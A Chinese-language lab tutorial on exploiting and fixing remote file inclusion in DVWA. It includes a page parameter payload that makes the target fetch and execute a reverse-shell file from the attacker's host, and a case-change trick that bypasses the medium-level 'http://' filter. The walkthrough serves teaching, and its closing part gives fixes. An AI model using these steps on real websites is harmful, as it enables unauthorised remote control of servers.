一、遠程文件包含環境配置。
遠程文件包含與上篇講到的本地文件包含不同,是一種特例。
我們需要到Metasploit配置一下環境。
sudo nano /etc/php5/cgi/php.ini PHP配置文件

ctrl+w 搜索allow_url ,將allow_url_include = Off 改成On ctrl+x退出

完成后重啟Web服務器
sudo etc/init.d/apache2 restart

======================================================================================================
二、遠程文件包含漏洞-發現和利用
1. 創建一個reverse.txt文本文件,里面寫入反彈shell的php代碼如下:

2.將reverse.txt放入 /var/www/html文件夾下

3.本地瀏覽器訪問查看
首先,kali開啟web服務

然后瀏覽器訪問:這里是txt不是php,因為我們不需要攻擊主機去執行,需要的是目標服務器遠程執行這條命令。

開啟監聽端口:

返回dvwa 文件包含那部分輸入 ?page=http://192.168.164.128/reverse.txt?

監聽端口成功連接,獲得目標主機的控制權。
=================================================================
三、利用高級遠程文件包含漏洞入侵網站。
將security level 設置為medium重復上述步驟,發現該漏洞已經修復。

報錯,說明中級的防護應該做了過濾,我們試試過濾有沒有對大小寫進行限制。http修改成Http發現命令執行,說明過濾器對大小寫不敏感,容易繞過。

查看源碼發現也只是過濾了http:// https:// 所以使用過濾器並不是很好的防護,容易遺漏,過濾不全。

==========================================================================================
四、安全性-修復文件包含漏洞
1)RFI 遠程文件包含漏洞解決方法:
禁止 allow_url_fopen & allow_url_include
sudo nano /etc/php5/cgi/php.ini

2)LFI 本地文件包含漏洞解決方法:
使用靜態的文件包含

